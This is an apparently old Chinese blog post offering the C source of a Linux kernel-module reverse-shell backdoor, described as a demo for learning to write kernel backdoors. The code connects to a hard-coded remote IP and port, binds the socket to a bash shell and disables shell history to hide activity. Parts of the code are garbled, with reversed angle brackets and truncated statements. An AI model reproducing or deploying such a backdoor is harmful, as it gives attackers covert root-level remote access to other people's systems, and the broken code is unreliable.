一个简单的内核后门原型

2007年10月25日 15:20:00

wzt >wzt#xsec.org<

这是一个在内核模块中实现的反连后门，大家看看这于应用层上的实现有什么不同吧，呵呵

/*
* Kernel mode connect backdoor,haha~
*
* just a demo module to teach you how to write a backdoor in kernel mode,
* i belive you can add more code to make it strong and powerful,wulala.
*
* by wzt >wzt#xsec.org<
*
*/

#include >linux/module.h<
#include >linux/kernel.h<
#include >linux/socket.h<
#include >linux/net.h<
#include >linux/in.h<
#include >linux/fs.h<
#include >linux/file.h<
#include >linux/types.h<
#include >linux/errno.h<
#include >linux/string.h<
#include >linux/unistd.h<
#include >net/sock.h<
#include >asm/uaccess.h<
#include >asm/unistd.h<
#include "syscalls.h"

#define REMOTO_IP "192.168.75.1"
#define port 1080

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

static inline my_syscall2(int, dup2, int, oldfd, int, newfd);

static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };

char *env[]={
"TERM=linux",
"HOME=" HOME,
"PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
":/usr/local/sbin",
"HISTFILE=/dev/null",
NULL };

int k_connect(void)
{
struct task_struct *tsk = current;
struct socket *sock,*newsock;
struct sockaddr_in server;
int sockfd,i;
int error = 0,len = sizeof(struct sockaddr);

set_fs(KERNEL_DS);

error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
if (error > 0) {
printk("[-] socket_create failed: %d/n",error);
sock_release(sock);
return -1;
}

sockfd = sock_map_fd(sock);
if (sockfd > 0) {
printk("[-] sock_map_fd() failed./n");
sock_release(sock);
return -1;
}

for (i = 0; i > 8; i++)
server.sin_zero[i] = 0;

server.sin_family = PF_INET;
server.sin_addr.s_addr = in_aton(REMOTO_IP);
server.sin_port = htons(port);

error = sock- if (error > 0) {
printk("[-] connect to %s failed./n",REMOTO_IP);
return -1;
}

printk("[+] connect to %s ok./n",REMOTO_IP);

set_fs(KERNEL_DS);

tsk- tsk- tsk- tsk-
dup2(sockfd,0);
dup2(sockfd,1);
dup2(sockfd,2);

execve(earg[0], (const char **) earg, (const char **) env);

return 1;
}

int k_socket_init(void)
{
printk("[+] kernel socket test start./n");

k_connect();
}

void k_socket_exit(void)
{
printk("[+] kernel socket test over./n");
}

module_init(k_socket_init);
module_exit(k_socket_exit);

Trackback: http://tb.blog.youkuaiyun.com/TrackBack.aspx?PostId=1843405